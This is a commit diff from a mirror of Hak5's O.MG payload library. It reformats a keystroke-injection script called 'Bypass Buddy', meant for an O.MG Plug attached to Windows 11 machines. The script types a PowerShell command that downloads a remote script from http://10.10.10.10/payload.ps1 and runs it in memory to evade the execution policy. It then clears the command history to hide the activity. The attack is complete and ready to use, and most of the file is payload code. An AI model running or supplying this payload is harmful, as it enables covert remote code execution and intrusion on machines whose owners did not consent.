hak5
/
omg-payloads
mirror of https://github.com/hak5/omg-payloads.git
1
0
Fork 0
Code Issues Packages Projects Releases Wiki Activity

NOPs removed, formatting and best practices

pull/238/head
salt-or-ester 2024-09-13 19:17:48 -07:00 committed by GitHub
parent 7428e92010
commit 52e0b4fa1b
No known key found for this signature in database
GPG Key ID: B5690EEEBB952194
1 changed files with 17 additions and 7 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

24
payloads/library/execution/bypass-buddy/bypass-buddy.txt
View File

@ -1,6 +1,12 @@
REM_BLOCK REM_BLOCK
The Bypass Buddy Title: The Bypass Buddy
by salt-or-ester - salt-or-ester@protonmail.com Author: salt-or-ester | salt-or-ester@protonmail.com | https://gitgud.io/saltorester
Description: Evade Windows Script Execution Policy
Target: Windows 11
Device: O.MG Plug | https://hak5.org/products/omg-plug
Version: 1.1
Category: Execution
Tested on: O.MG Plug Elite, Windows 11 Tested on: O.MG Plug Elite, Windows 11
Will likely work on other devices and Windows flavors Will likely work on other devices and Windows flavors
@ -13,19 +19,23 @@ REM_BLOCK
This can be accomplished without administrative rights. This can be accomplished without administrative rights.
END_REM END_REM
REM Formatting is 'untabbed' to comply with O.MG Editor/UI
FUNCTION EVADE_SCRIPT_EXECUTION_POLICY()
REM Normally I would add this below the header, as it's a constant, but moving it here for portability
REM Payload to download and run in memory REM Payload to download and run in memory
DEFINE #PAYLOAD_URL "http://10.10.10.10/payload.ps1" DEFINE #PAYLOAD_URL "http://10.10.10.10/payload.ps1"
FUNCTION EVADE_SCRIPT_EXECUTION_POLICY()
GUI r GUI r
DELAY 2000 REM Let GUI load REM Let GUI load
DELAY 2000
STRINGLN powershell STRINGLN powershell
DELAY 1000 REM Let Powershell window open REM Let Powershell window open
DELAY 1000
STRINGLN Start-Job -ScriptBlock { try { $response = Invoke-WebRequest -Uri #PAYLOAD_URL -ErrorAction Stop; $scriptContent = [System.Text.Encoding]::UTF8.GetString($response.Content); cd ~; Invoke-Expression $scriptContent } catch { Write-Error "Failed to download or execute script: $_" } } STRINGLN Start-Job -ScriptBlock { try { $response = Invoke-WebRequest -Uri #PAYLOAD_URL -ErrorAction Stop; $scriptContent = [System.Text.Encoding]::UTF8.GetString($response.Content); cd ~; Invoke-Expression $scriptContent } catch { Write-Error "Failed to download or execute script: $_" } }
STRINGLN Clear-History STRINGLN Clear-History
STRINGLN clear STRINGLN clear
GUI DOWNARROW GUI DOWNARROW
END_FUNCTION END_FUNCTION
DELAY 3000 REM Wait for device to be "ready" REM Wait for device to be "ready"
DELAY 3000
EVADE_SCRIPT_EXECUTION_POLICY() EVADE_SCRIPT_EXECUTION_POLICY()